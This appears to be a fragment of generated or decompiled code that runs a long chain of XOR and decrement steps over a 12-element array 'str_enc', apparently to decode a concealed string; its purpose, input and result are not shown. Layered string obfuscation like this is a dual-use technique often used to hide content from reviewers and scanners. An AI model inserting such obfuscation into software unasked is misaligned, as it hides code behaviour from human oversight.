str_enc[4] ^= 0x54
str_enc[3] -= 1
str_enc[2] ^= 0x61
str_enc[1] ^= 0x19
str_enc[0] ^= 6
str_enc[11] ^= 0x77
str_enc[10] ^= 0x44
str_enc[9] ^= 0x18
str_enc[8] ^= 0x78
str_enc[7] ^= 0x5A
str_enc[6] -= 1
str_enc[5] -= 1
str_enc[4] ^= 0x7A
str_enc[3] ^= 0x51
str_enc[2] ^= 0x71
str_enc[1] ^= 0x61
str_enc[0] ^= 0x27
str_enc[11] ^= 0x53
str_enc[10] ^= str_enc[0]
str_enc[9] ^= 0x37
str_enc[8] -= 1
str_enc[7] ^= 0x53
str_enc[6] -= 1
str_enc[5] ^= 0xA
str_enc[4] -= 1
str_enc[3] ^= 0x75
str_enc[2] ^= 0x63
str_enc[1] -= 1
str_enc[0] ^= 0x64
str_enc[11] ^= str_enc[3]
str_enc[10] ^= 7
str_enc[9] ^= 0x2C
str_enc[8] ^= 5
str_enc[7] ^= 0xE
str_enc[6] ^= 0x57
str_enc[5] ^= str_enc[1]
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x2A
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x57
str_enc[0] ^= 0x3E
str_enc[11] -= 1
str_enc[10] ^= 0x6D
str_enc[9] ^= 0xD
str_enc[8] ^= 0x1D
str_enc[7] -= 1
str_enc[6] ^= 3
str_enc[5] ^= 0x54
str_enc[4] ^= 0x6E
str_enc[3] ^= 0x1C
str_enc[2] ^= 0x6E
str_enc[1] ^= 0x2F
str_enc[0] ^= 0x61
str_enc[11] ^= 0x19
str_enc[10] ^= 0x5C
str_enc[9] ^= str_enc[8]
str_enc[8] ^= 0x25
str_enc[7] -= 1
str_enc[6] ^= 0x1A
str_enc[5] ^= str_enc[2]
str_enc[4] ^= 5
str_enc[3] ^= 0x6D
str_enc[2] ^= 0x63
str_enc[1] ^= 0x51
str_enc[0] ^= 0x58
str_enc[11] ^= 0x60
str_enc[10] ^= 0x71
str_enc[9] ^= 0x73
str_enc[8] -= 1
str_enc[7] ^= 0x53
str_enc[6] ^= 0x74
str_enc[5] ^= 0x18
str_enc[4] ^= 0x7E
str_enc[3] ^= 0x5F
str_enc[2] ^= 0x78
str_enc[1] ^= 0x79
str_enc[0] -= 1
str_enc[11] ^= 0x1F
str_enc[10] ^= 0x61
str_enc[9] ^= 0x31
str_enc[8] -= 1
str_enc[7] -= 1
str_enc[6] ^= 0x5F
str_enc[5] ^= 0x4A
str_enc[4] ^= 0xD
str_enc[3] ^= 0x35
str_enc[2] ^= 0x69
str_enc[1] -= 1
str_enc[0] ^= 0x51
str_enc[11] ^= 0x2B
str_enc[10] ^= str_enc[3]
str_enc[9] ^= 0x48
str_enc[8] ^= 0x72
str_enc[7] ^= str_enc[2]
str_enc[6] ^= 0x32
str_enc[5] ^= 0x4B
str_enc[4] ^= 0x31
str_enc[3] ^= 0x32
str_enc[2] ^= 9
str_enc[1] ^= 0x52
str_enc[0] ^= 0x56
str_enc[11] -= 1
str_enc[10] ^= 0x74
str_enc[9] ^= 0x12
str_enc[8] -= 1
str_enc[7] -= 1
str_enc[6] ^= 4
str_enc[5] ^= str_enc[2]
str_enc[4] ^= 0x57
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x12
str_enc[1] -= 1
str_enc[0] -= 1
str_enc[11] ^= 0x12
str_enc[10] -= 1
str_enc[9] -= 1
str_enc[8] ^= 0x3E
str_enc[7] ^= 0x6B
str_enc[6] ^= str_enc[1]
str_enc[5] ^= 0x3F
str_enc[4] -= 1
str_enc[3] -= 1
str_enc[2] ^= 0x54
str_enc[1] -= 1
str_enc[0] ^= 0x6C
str_enc[11] ^= 0x1C
str_enc[10] ^= 0x40
str_enc[9] ^= 0x57
str_enc[8] ^= 0x47
str_enc[7] ^= str_enc[2]
str_enc[6] ^= 0x72
str_enc[5] -= 1
str_enc[4] ^= 0xE
str_enc[3] ^= str_enc[2]
str_enc[2] ^= 0x54
str_enc[1] ^= 0x24
str_enc[0] ^= 0x74
str_enc[11] ^= 0x4B
str_enc[10] ^= str_enc[6]
str_enc[9] ^= 0x44
str_enc[8] -= 1
str_enc[7] ^= 0x67
str_enc[6] ^= 0x2F
str_enc[5] ^= 4
str_enc[4] ^= 0x1D
str_enc[3] ^= 0x4B
str_enc[2] ^= 0x67
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x36
str_enc[11] ^= 0x3D
str_enc[10] ^= str_enc[2]
str_enc[9] ^= str_enc[2]
str_enc[8] ^= 0x53
str_enc[7] ^= 0x40
str_enc[6] ^= str_enc[3]
str_enc[5] ^= 0x57
str_enc[4] -= 1
str_enc[3] ^= 0x50
str_enc[2] ^= 0x28
str_enc[1] -= 1
str_enc[0] ^= 0x24
str_enc[11] ^= str_enc[8]
str_enc[10] ^= 0x16
str_enc[9] -= 1
str_enc[8] ^= 0x3B
str_enc[7] ^= 0x4F
str_enc[6] ^= str_enc[4]
str_enc[5] ^= 0x58
str_enc[4] ^= 0x72
str_enc[3] ^= 0x2D
str_enc[2] ^= 0x67
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0xD
str_enc[11] ^= 0x49
str_enc[10] -= 1
str_enc[9] ^= 4
str_enc[8] ^= str_enc[5]
str_enc[7] ^= str_enc[0]
str_enc[6] ^= 0x6D
str_enc[5] ^= 0x1F
str_enc[4] ^= 0x3C
str_enc[3] ^= str_enc[1]
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x7B
str_enc[0] -= 1
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] ^= 0x62
str_enc[8] -= 1
str_enc[7] ^= 0x4F
str_enc[6] ^= 0x2F
str_enc[5] ^= str_enc[4]
str_enc[4] ^= 0x7F
str_enc[3] ^= 0x69
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x64
str_enc[0] -= 1
str_enc[11] ^= 0x25
str_enc[10] ^= 0xE
str_enc[9] ^= 0x3A
str_enc[8] ^= 0x1D
str_enc[7] -= 1
str_enc[6] ^= 4
str_enc[5] ^= 0x52
str_enc[4] ^= str_enc[3]
str_enc[3] ^= 0x69
str_enc[2] ^= 0x7E
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x1B
str_enc[11] ^= str_enc[5]
str_enc[10] ^= 0x3C
str_enc[9] ^= str_enc[6]
str_enc[8] ^= 0x6D
str_enc[7] -= 1
str_enc[6] ^= 0x68
str_enc[5] ^= 0x5E
str_enc[4] ^= 0x1C
str_enc[3] ^= 0x56
str_enc[2] ^= 0x4B
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x1F
str_enc[11] ^= 0x5D
str_enc[10] ^= 0x77
str_enc[9] ^= 0x17
str_enc[8] ^= 0x3C
str_enc[7] ^= str_enc[5]
str_enc[6] ^= 0x71
str_enc[5] ^= 0x2D
str_enc[4] -= 1
str_enc[3] ^= 0x2D
str_enc[2] ^= 0x19
str_enc[1] ^= 0xB
str_enc[0] ^= 0x6C
str_enc[11] ^= 0x11
str_enc[10] ^= str_enc[3]
str_enc[9] ^= 0x41
str_enc[8] ^= 0x67
str_enc[7] ^= 0x38
str_enc[6] ^= 0x59
str_enc[5] ^= 0x11
str_enc[4] ^= 0x7E
str_enc[3] ^= 0x3F
str_enc[2] ^= 0x2C
str_enc[1] ^= 0x63
str_enc[0] ^= 0x33
str_enc[11] ^= 0x77
str_enc[10] -= 1
str_enc[9] ^= 0x2B
str_enc[8] ^= 0x7E
str_enc[7] ^= 0x71
str_enc[6] ^= str_enc[0]
str_enc[5] ^= 0x58
str_enc[4] ^= 0x62
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 0x53
str_enc[1] -= 1
str_enc[0] ^= 0x19
str_enc[11] ^= 0x49
str_enc[10] -= 1
str_enc[9] -= 1
str_enc[8] ^= 0x6E
str_enc[7] -= 1
str_enc[6] ^= 0x58
str_enc[5] ^= 0x3F
str_enc[4] ^= 0x53
str_enc[3] ^= 0x21
str_enc[2] ^= 0x5A
str_enc[1] ^= 0x1E
str_enc[0] ^= 0x3B
str_enc[11] ^= 0x39
str_enc[10] ^= 0x18
str_enc[9] -= 1
str_enc[8] ^= 0x44
str_enc[7] ^= 0x47
str_enc[6] ^= str_enc[1]
str_enc[5] ^= 0x11
str_enc[4] ^= 0x30
str_enc[3] ^= 0x22
str_enc[2] ^= 0x1A
str_enc[1] -= 1
str_enc[0] ^= 0x4E
str_enc[11] ^= 1
str_enc[10] ^= 0x38
str_enc[9] ^= 1
str_enc[8] ^= 0x52
str_enc[7] ^= 0x7C
str_enc[6] ^= 0x44
str_enc[5] ^= 0x30
str_enc[4] ^= 0x31
str_enc[3] ^= 0x3B
str_enc[2] ^= 0x23
str_enc[1] ^= 0x47
str_enc[0] ^= 0x75
str_enc[11] ^= 0x1A
str_enc[10] ^= 0x61
str_enc[9] ^= 0x63
str_enc[8] ^= 0x26
str_enc[7] ^= str_enc[0]
str_enc[6] ^= 0x7D
str_enc[5] ^= 0x47
str_enc[4] ^= 0xA
str_enc[3] ^= 4
str_enc[2] -= 1
str_enc[1] ^= 3
str_enc[0] -= 1
str_enc[11] ^= 0x21
str_enc[10] ^= 0x77
str_enc[9] ^= 0x11
str_enc[8] ^= 0x62
str_enc[7] ^= 0x40
str_enc[6] ^= 0x38
str_enc[5] -= 1
str_enc[4] ^= 0x36
str_enc[3] ^= 0x52
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x53
str_enc[0] -= 1
str_enc[11] ^= 0x23
str_enc[10] ^= 1
str_enc[9] -= 1
str_enc[8] ^= 0x20
str_enc[7] -= 1
str_enc[6] ^= 0x1F
str_enc[5] ^= 0x50
str_enc[4] ^= 0x54
str_enc[3] -= 1
str_enc[2] ^= 0x6A
str_enc[1] ^= 0x17
str_enc[0] -= 1
str_enc[11] ^= 0x57
str_enc[10] -= 1
str_enc[9] ^= 0x69
str_enc[8] ^= 0x7D
str_enc[7] ^= 0x6E
str_enc[6] ^= str_enc[3]
str_enc[5] ^= 0x3F
str_enc[4] ^= 0x22
str_enc[3] ^= 0x7A
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x1C
str_enc[0] ^= 0x28
str_enc[11] ^= 0xA
str_enc[10] ^= 0x1B
str_enc[9] -= 1
str_enc[8] ^= 0x2D
str_enc[7] ^= 0x1D
str_enc[6] -= 1
str_enc[5] ^= 4
str_enc[4] ^= 0x58
str_enc[3] ^= 0x12
str_enc[2] ^= 0x10
str_enc[1] ^= 3
str_enc[0] ^= 0x67
str_enc[11] ^= 0x18
str_enc[10] ^= 0x67
str_enc[9] ^= str_enc[7]
str_enc[8] ^= 0x79
str_enc[7] ^= str_enc[4]
str_enc[6] ^= 0x28
str_enc[5] ^= 0x23
str_enc[4] ^= 0x51
str_enc[3] ^= str_enc[2]
str_enc[2] ^= 0x20
str_enc[1] ^= 0x16
str_enc[0] ^= 0x31
str_enc[11] ^= 0x5B
str_enc[10] ^= 0x6F
str_enc[9] ^= str_enc[0]
str_enc[8] ^= str_enc[1]
str_enc[7] ^= 0x47
str_enc[6] ^= 0x1C
str_enc[5] ^= 0x13
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x4C
str_enc[2] ^= 0x5B
str_enc[1] ^= 0x3D
str_enc[0] ^= 0x45
str_enc[11] ^= 0x25
str_enc[10] -= 1
str_enc[9] -= 1
str_enc[8] ^= 0x27
str_enc[7] ^= str_enc[2]
str_enc[6] ^= 0x22
str_enc[5] ^= 0xF
str_enc[4] ^= 0x1C
str_enc[3] ^= 0x54
str_enc[2] -= 1
str_enc[1] ^= 0x29
str_enc[0] ^= 0x63
str_enc[11] ^= str_enc[4]
str_enc[10] ^= 0x45
str_enc[9] ^= str_enc[4]
str_enc[8] ^= 0x70
str_enc[7] ^= 0x44
str_enc[6] ^= 0x37
str_enc[5] -= 1
str_enc[4] ^= 0x15
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 0x7C
str_enc[1] ^= 0x28
str_enc[0] ^= 0x17
str_enc[11] ^= 0x18
str_enc[10] ^= 0x52
str_enc[9] ^= str_enc[5]
str_enc[8] ^= 0x59
str_enc[7] -= 1
str_enc[6] ^= 0x2F
str_enc[5] -= 1
str_enc[4] ^= 0x4B
str_enc[3] ^= 0x70
str_enc[2] -= 1
str_enc[1] ^= 0x51
str_enc[0] ^= 0xF
str_enc[11] ^= str_enc[6]
str_enc[10] ^= 0x12
str_enc[9] ^= str_enc[5]
str_enc[8] ^= 5
str_enc[7] ^= str_enc[0]
str_enc[6] ^= 0x7D
str_enc[5] ^= 0x58
str_enc[4] ^= 6
str_enc[3] ^= 0x42
str_enc[2] ^= 0x65
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x35
str_enc[11] ^= 0x35
str_enc[10] ^= 0x6E
str_enc[9] -= 1
str_enc[8] ^= 0x54
str_enc[7] ^= 0x4E
str_enc[6] ^= 0x2A
str_enc[5] -= 1
str_enc[4] ^= 0x42
str_enc[3] ^= 0x6E
str_enc[2] ^= 0x52
str_enc[1] ^= 8
str_enc[0] ^= 5
str_enc[11] ^= 0x1F
str_enc[10] ^= str_enc[2]
str_enc[9] ^= 0x75
str_enc[8] ^= 0x62
str_enc[7] -= 1
str_enc[6] ^= 0xF
str_enc[5] -= 1
str_enc[4] ^= 0x1C
str_enc[3] ^= 0x70
str_enc[2] -= 1
str_enc[1] -= 1
str_enc[0] ^= 0x58
str_enc[11] ^= 0x68
str_enc[10] ^= 0x56
str_enc[9] ^= 0x77
str_enc[8] ^= 1
str_enc[7] ^= 0x14
str_enc[6] ^= 0x3F
str_enc[5] ^= str_enc[0]
str_enc[4] ^= 0x69
str_enc[3] ^= 0x5C
str_enc[2] ^= 4
str_enc[1] ^= 0x47
str_enc[0] ^= 8
str_enc[11] ^= 0x17
str_enc[10] ^= 0x4E
str_enc[9] ^= 0x39
str_enc[8] ^= str_enc[2]
str_enc[7] ^= 0x11
str_enc[6] ^= 0x6A
str_enc[5] ^= 0x53
str_enc[4] ^= 0x52
str_enc[3] -= 1
str_enc[2] ^= 0x35
str_enc[1] ^= 0x4C
str_enc[0] ^= 0x40
str_enc[11] ^= 0x2D
str_enc[10] ^= 0x75
str_enc[9] ^= 6
str_enc[8] ^= 0x1B
str_enc[7] ^= 0x56
str_enc[6] ^= 0x73
str_enc[5] ^= 0xC
str_enc[4] ^= str_enc[0]
str_enc[3] ^= 0x32
str_enc[2] ^= 0x2F
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 4
str_enc[11] ^= 0x60
str_enc[10] ^= 0x29
str_enc[9] ^= 0x36
str_enc[8] ^= str_enc[3]
str_enc[7] ^= str_enc[5]
str_enc[6] ^= 0x77
str_enc[5] ^= 0x1D
str_enc[4] -= 1
str_enc[3] ^= 0x6B
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 7
str_enc[0] ^= 0x15
str_enc[11] ^= 0x30
str_enc[10] ^= 0x4E
str_enc[9] ^= 0x5B
str_enc[8] ^= 0x63
str_enc[7] ^= 0xF
str_enc[6] ^= 0x65
str_enc[5] ^= 0x72
str_enc[4] -= 1
str_enc[3] ^= 0xE
str_enc[2] ^= 0x11
str_enc[1] ^= 0x2B
str_enc[0] ^= 0x1C
str_enc[11] -= 1
str_enc[10] ^= 0x38
str_enc[9] ^= 0x2C
str_enc[8] -= 1
str_enc[7] ^= 0x51
str_enc[6] ^= 0x39
str_enc[5] ^= 0x41
str_enc[4] ^= str_enc[0]
str_enc[3] ^= 0x2E
str_enc[2] ^= 0x27
str_enc[1] ^= 0x30
str_enc[0] ^= 0x45
str_enc[11] ^= str_enc[8]
str_enc[10] ^= 0x79
str_enc[9] ^= 0x2E
str_enc[8] ^= 0x1C
str_enc[7] ^= 0x6A
str_enc[6] ^= 0x69
str_enc[5] ^= 7
str_enc[4] ^= str_enc[3]
str_enc[3] ^= 0x68
str_enc[2] -= 1
str_enc[1] ^= 0x52
str_enc[0] ^= 0x5E
str_enc[11] ^= str_enc[7]
str_enc[10] ^= 0x32
str_enc[9] ^= 0x43
str_enc[8] ^= 0x4E
str_enc[7] ^= 0x57
str_enc[6] ^= 0xC
str_enc[5] ^= 0x55
str_enc[4] -= 1
str_enc[3] ^= 0x45
str_enc[2] ^= 0x5F
str_enc[1] ^= 0x4C
str_enc[0] ^= 0x22
str_enc[11] ^= 0x23
str_enc[10] ^= 0x2E
str_enc[9] ^= 0x66
str_enc[8] ^= 0x65
str_enc[7] ^= 0x50
str_enc[6] ^= 0x3C
str_enc[5] ^= 0x10
str_enc[4] ^= 4
str_enc[3] ^= 0xC
str_enc[2] ^= 0x79
str_enc[1] ^= 0x1C
str_enc[0] ^= 0x72
str_enc[11] ^= 0x61
str_enc[10] ^= 0x53
str_enc[9] -= 1
str_enc[8] ^= 0x3D
str_enc[7] ^= 0xA
str_enc[6] ^= 0x7B
str_enc[5] ^= 0x67
str_enc[4] ^= 0x50
str_enc[3] ^= 0x5E
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x6D
str_enc[0] ^= 0x7A
str_enc[11] ^= 8
str_enc[10] ^= str_enc[6]
str_enc[9] ^= 0x79
str_enc[8] ^= str_enc[0]
str_enc[7] ^= 0x21
str_enc[6] ^= 0x79
str_enc[5] ^= 0x63
str_enc[4] ^= 0x4F
str_enc[3] ^= 0x63
str_enc[2] -= 1
str_enc[1] ^= 0x41
str_enc[0] -= 1
str_enc[11] ^= 0x12
str_enc[10] ^= 0x12
str_enc[9] ^= 8
str_enc[8] -= 1
str_enc[7] ^= 0x27
str_enc[6] ^= 0x42
str_enc[5] ^= str_enc[3]
str_enc[4] ^= str_enc[1]
str_enc[3] ^= 0x60
str_enc[2] ^= 0x4E
str_enc[1] -= 1
str_enc[0] ^= 0x25
str_enc[11] ^= 0x29
str_enc[10] ^= 0x4E
str_enc[9] ^= str_enc[4]
str_enc[8] ^= str_enc[7]
str_enc[7] ^= 0x4B
str_enc[6] ^= 0x7A
str_enc[5] ^= 0x13
str_enc[4] ^= 0x16
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x55
str_enc[1] ^= 0x64
str_enc[0] ^= 0x6D
str_enc[11] ^= 0x79
str_enc[10] -= 1
str_enc[9] ^= 9
str_enc[8] ^= 0x28
str_enc[7] ^= 0x3D
str_enc[6] ^= 0x31
str_enc[5] ^= 0x63
str_enc[4] -= 1
str_enc[3] ^= 0x79
str_enc[2] ^= 0x2C
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x3C
str_enc[11] ^= 0x38
str_enc[10] ^= 0x43
str_enc[9] ^= 0x12
str_enc[8] ^= 0x2F
str_enc[7] ^= 1
str_enc[6] ^= str_enc[0]
str_enc[5] ^= 0x6B
str_enc[4] ^= 0x48
str_enc[3] ^= 0x2C
str_enc[2] -= 1
str_enc[1] ^= 0x5B
str_enc[0] ^= 0x22
str_enc[11] ^= 4
str_enc[10] -= 1
str_enc[9] ^= 0x3B
str_enc[8] ^= 0x65
str_enc[7] -= 1
str_enc[6] -= 1
str_enc[5] ^= 0x2F
str_enc[4] ^= str_enc[3]
str_enc[3] ^= 1
str_enc[2] -= 1
str_enc[1] ^= 0x62
str_enc[0] ^= 0x5B
str_enc[11] ^= 0x75
str_enc[10] ^= 0x1F
str_enc[9] ^= 0x2A
str_enc[8] ^= 0x39
str_enc[7] ^= 0x24
str_enc[6] ^= 0x72
str_enc[5] ^= 0x59
str_enc[4] ^= 0xE
str_enc[3] -= 1
str_enc[2] ^= 0x3E
str_enc[1] ^= 0x35
str_enc[0] ^= 0x74
str_enc[11] -= 1
str_enc[10] ^= 0x20
str_enc[9] ^= 0x21
str_enc[8] ^= 0x26
str_enc[7] ^= 0x10
str_enc[6] ^= 0x21
str_enc[5] ^= 0x61
str_enc[4] ^= 0x67
str_enc[3] ^= str_enc[2]
str_enc[2] ^= 0x37
str_enc[1] ^= 0x4E
str_enc[0] ^= 4
str_enc[11] ^= str_enc[4]
str_enc[10] ^= str_enc[3]
str_enc[9] ^= 0x4A
str_enc[8] ^= str_enc[6]
str_enc[7] ^= 0x6F
str_enc[6] -= 1
str_enc[5] ^= 0x43
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x2F
str_enc[2] ^= 0x5F
str_enc[1] ^= 0x2C
str_enc[0] ^= 5
str_enc[11] ^= 0x24
str_enc[10] ^= 0x6C
str_enc[9] ^= str_enc[7]
str_enc[8] ^= str_enc[0]
str_enc[7] ^= 0x38
str_enc[6] ^= 8
str_enc[5] ^= 0xB
str_enc[4] ^= 0x3C
str_enc[3] ^= 0x60
str_enc[2] ^= 0x19
str_enc[1] -= 1
str_enc[0] ^= 0x1A
str_enc[11] ^= 0x58
str_enc[10] -= 1
str_enc[9] ^= 0x4E
str_enc[8] ^= 0x1B
str_enc[7] -= 1
str_enc[6] ^= 0x7B
str_enc[5] ^= 0x57
str_enc[4] -= 1
str_enc[3] ^= 0x6E
str_enc[2] ^= 0x16
str_enc[1] ^= 0x36
str_enc[0] -= 1
str_enc[11] -= 1
str_enc[10] ^= 0x57
str_enc[9] ^= 0x7D
str_enc[8] -= 1
str_enc[7] -= 1
str_enc[6] -= 1
str_enc[5] ^= 0x1D
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x5E
str_enc[2] -= 1
str_enc[1] ^= 0x31
str_enc[0] ^= 0x7F
str_enc[11] ^= 0x40
str_enc[10] ^= 0x59
str_enc[9] -= 1
str_enc[8] ^= 0x1E
str_enc[7] ^= 2
str_enc[6] ^= 0x63
str_enc[5] ^= 0x60
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x16
str_enc[2] ^= 0x15
str_enc[1] ^= 0x7F
str_enc[0] ^= 0x77
str_enc[11] -= 1
str_enc[10] ^= 0x51
str_enc[9] ^= 0x3E
str_enc[8] ^= str_enc[5]
str_enc[7] ^= str_enc[3]
str_enc[6] ^= str_enc[1]
str_enc[5] ^= str_enc[0]
str_enc[4] ^= 0x6D
str_enc[3] -= 1
str_enc[2] -= 1
str_enc[1] ^= 0x6B
str_enc[0] ^= 0x46
str_enc[11] ^= str_enc[6]
str_enc[10] ^= 1
str_enc[9] ^= 0x78
str_enc[8] ^= str_enc[6]
str_enc[7] ^= 0x72
str_enc[6] -= 1
str_enc[5] ^= 0x4C
str_enc[4] ^= str_enc[0]
str_enc[3] ^= 0x1A
str_enc[2] ^= str_enc[1]
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x3A
str_enc[11] ^= 5
str_enc[10] ^= 0x36
str_enc[9] ^= str_enc[0]
str_enc[8] ^= 0x59
str_enc[7] ^= str_enc[3]
str_enc[6] ^= 0x4E
str_enc[5] ^= 0xF
str_enc[4] ^= 4
str_enc[3] ^= 0x22
str_enc[2] -= 1
str_enc[1] ^= 0x17
str_enc[0] -= 1
str_enc[11] ^= 0x11
str_enc[10] ^= str_enc[2]
str_enc[9] ^= 0x2E
str_enc[8] ^= 0x31
str_enc[7] ^= 0x6B
str_enc[6] ^= 0x17
str_enc[5] ^= str_enc[1]
str_enc[4] ^= 0x3A
str_enc[3] ^= 0x73
str_enc[2] ^= 0x49
str_enc[1] ^= 0x14
str_enc[0] ^= 0x44
str_enc[11] ^= 0xA
str_enc[10] ^= 0x4C
str_enc[9] ^= 0x47
str_enc[8] ^= 0x5A
str_enc[7] ^= 0x5A
str_enc[6] ^= 0x10
str_enc[5] ^= 0x77
str_enc[4] ^= 0x32
str_enc[3] ^= 0x4C
str_enc[2] ^= 0x20
str_enc[1] ^= 0x1C
str_enc[0] ^= 0x5A
str_enc[11] ^= 0x38
str_enc[10] ^= 0x71
str_enc[9] ^= 0x5B
str_enc[8] ^= 0x69
str_enc[7] ^= 0x21
str_enc[6] ^= 0x15
str_enc[5] ^= 7
str_enc[4] ^= 0x6F
str_enc[3] ^= 0x3A
str_enc[2] -= 1
str_enc[1] ^= 0x27
str_enc[0] ^= 0x73
str_enc[11] ^= 0x47
str_enc[10] ^= 0x50
str_enc[9] ^= 0x42
str_enc[8] ^= 0x1C
str_enc[7] ^= 0x79
str_enc[6] -= 1
str_enc[5] ^= 0x57
str_enc[4] ^= 0x66
str_enc[3] ^= 0x1D
str_enc[2] ^= 2
str_enc[1] ^= 0x1F
str_enc[0] ^= 0x2B
str_enc[11] ^= 0x7D
str_enc[10] ^= 0x35
str_enc[9] ^= 0x14
str_enc[8] ^= str_enc[0]
str_enc[7] ^= 0x15
str_enc[6] ^= str_enc[3]
str_enc[5] ^= 0x59
str_enc[4] ^= str_enc[0]
str_enc[3] ^= 0x1A
str_enc[2] -= 1
str_enc[1] ^= 0x1D
str_enc[0] ^= 0x7D
str_enc[11] -= 1
str_enc[10] ^= 0x4F
str_enc[9] ^= 0x61
str_enc[8] ^= 0x6D
str_enc[7] ^= 0x11
str_enc[6] ^= 0x2D
str_enc[5] ^= 0x4C
str_enc[4] ^= 0x4E
str_enc[3] -= 1
str_enc[2] ^= 0x6C
str_enc[1] ^= 0x65
str_enc[0] ^= 0x5F
str_enc[11] ^= str_enc[1]
str_enc[10] ^= 0x20
str_enc[9] -= 1
str_enc[8] ^= 0x37
str_enc[7] ^= 0x59
str_enc[6] ^= 0x43
str_enc[5] -= 1
str_enc[4] ^= 0x3E
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x58
str_enc[1] -= 1
str_enc[0] ^= 1
str_enc[11] ^= str_enc[5]
str_enc[10] ^= 0x3B
str_enc[9] ^= 0x57
str_enc[8] ^= 0x21
str_enc[7] ^= 0x5B
str_enc[6] ^= 0x6C
str_enc[5] ^= 0x7C
str_enc[4] ^= 0x4C
str_enc[3] -= 1
str_enc[2] -= 1
str_enc[1] ^= 0x58
str_enc[0] ^= 0xA
str_enc[11] -= 1
str_enc[10] ^= 0x43
str_enc[9] ^= 0x17
str_enc[8] ^= 0x3A
str_enc[7] ^= 0x6D
str_enc[6] ^= str_enc[5]
str_enc[5] ^= 0x54
str_enc[4] -= 1
str_enc[3] -= 1
str_enc[2] ^= 0x38
str_enc[1] -= 1
str_enc[0] -= 1
str_enc[11] ^= 0x24
str_enc[10] ^= 0x6E
str_enc[9] ^= 0x6A
str_enc[8] ^= 0x46
str_enc[7] ^= str_enc[6]
str_enc[6] ^= 0x54
str_enc[5] ^= 0x73
str_enc[4] ^= 0x5D
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 3
str_enc[1] ^= 0x6F
str_enc[0] ^= 0x5A
str_enc[11] ^= 0x75
str_enc[10] -= 1
str_enc[9] ^= 0x21
str_enc[8] ^= str_enc[3]
str_enc[7] ^= str_enc[0]
str_enc[6] ^= 0xD
str_enc[5] ^= 8
str_enc[4] -= 1
str_enc[3] ^= 0x41
str_enc[2] ^= 0x10
str_enc[1] -= 1
str_enc[0] ^= 0x37
str_enc[11] ^= str_enc[7]
str_enc[10] ^= str_enc[0]
str_enc[9] ^= 0x1B
str_enc[8] ^= str_enc[2]
str_enc[7] ^= 0x5E
str_enc[6] ^= 0x4A
str_enc[5] ^= 0x4D
str_enc[4] ^= 0x21
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 0x28
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 9
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] ^= 0x41
str_enc[8] ^= 0x13
str_enc[7] ^= 0x38
str_enc[6] ^= 0x1E
str_enc[5] ^= str_enc[3]
str_enc[4] ^= 0x1C
str_enc[3] ^= 0x50
str_enc[2] ^= 0x18
str_enc[1] ^= 0x75
str_enc[0] ^= 0x69
str_enc[11] -= 1
str_enc[10] ^= 0x4D
str_enc[9] -= 1
str_enc[8] ^= 0x71
str_enc[7] ^= 0x74
str_enc[6] ^= 0x4C
str_enc[5] -= 1
str_enc[4] ^= 0x24
str_enc[3] ^= 0x1B
str_enc[2] ^= 7
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x1A
str_enc[11] ^= str_enc[2]
str_enc[10] ^= 0x71
str_enc[9] ^= 0x47
str_enc[8] ^= 0x3B
str_enc[7] ^= 0x4A
str_enc[6] ^= 0x7F
str_enc[5] ^= 0x51
str_enc[4] ^= 0x57
str_enc[3] ^= str_enc[2]
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x50
str_enc[0] ^= 0x6C
str_enc[11] ^= 0xD
str_enc[10] ^= 0x6E
str_enc[9] ^= 0x21
str_enc[8] ^= 0x37
str_enc[7] ^= 0x71
str_enc[6] ^= 0x7B
str_enc[5] ^= str_enc[0]
str_enc[4] ^= 0x6B
str_enc[3] ^= 0x67
str_enc[2] ^= 0x2D
str_enc[1] ^= 0x19
str_enc[0] ^= 0x60
str_enc[11] ^= 0x3A
str_enc[10] ^= 0x2A
str_enc[9] ^= str_enc[1]
str_enc[8] ^= 0x4C
str_enc[7] ^= 4
str_enc[6] -= 1
str_enc[5] ^= 0x54
str_enc[4] ^= 0x22
str_enc[3] ^= 0x79
str_enc[2] -= 1
str_enc[1] ^= 0x21
str_enc[0] -= 1
str_enc[11] ^= 0x57
str_enc[10] ^= 0x14
str_enc[9] ^= 0x27
str_enc[8] ^= 3
str_enc[7] ^= 0xB
str_enc[6] ^= str_enc[2]
str_enc[5] ^= 0x68
str_enc[4] ^= 0x4F
str_enc[3] -= 1
str_enc[2] ^= 0x43
str_enc[1] -= 1
str_enc[0] ^= 0x4B
str_enc[11] ^= 0x3F
str_enc[10] ^= str_enc[5]
str_enc[9] ^= 0x72
str_enc[8] ^= 0x42
str_enc[7] ^= 0x63
str_enc[6] ^= 0x32
str_enc[5] ^= 0x53
str_enc[4] ^= 0x44
str_enc[3] ^= 0x21
str_enc[2] ^= 0x62
str_enc[1] ^= 0x7F
str_enc[0] -= 1
str_enc[11] ^= 0x4B
str_enc[10] ^= 0x6A
str_enc[9] ^= 0x77
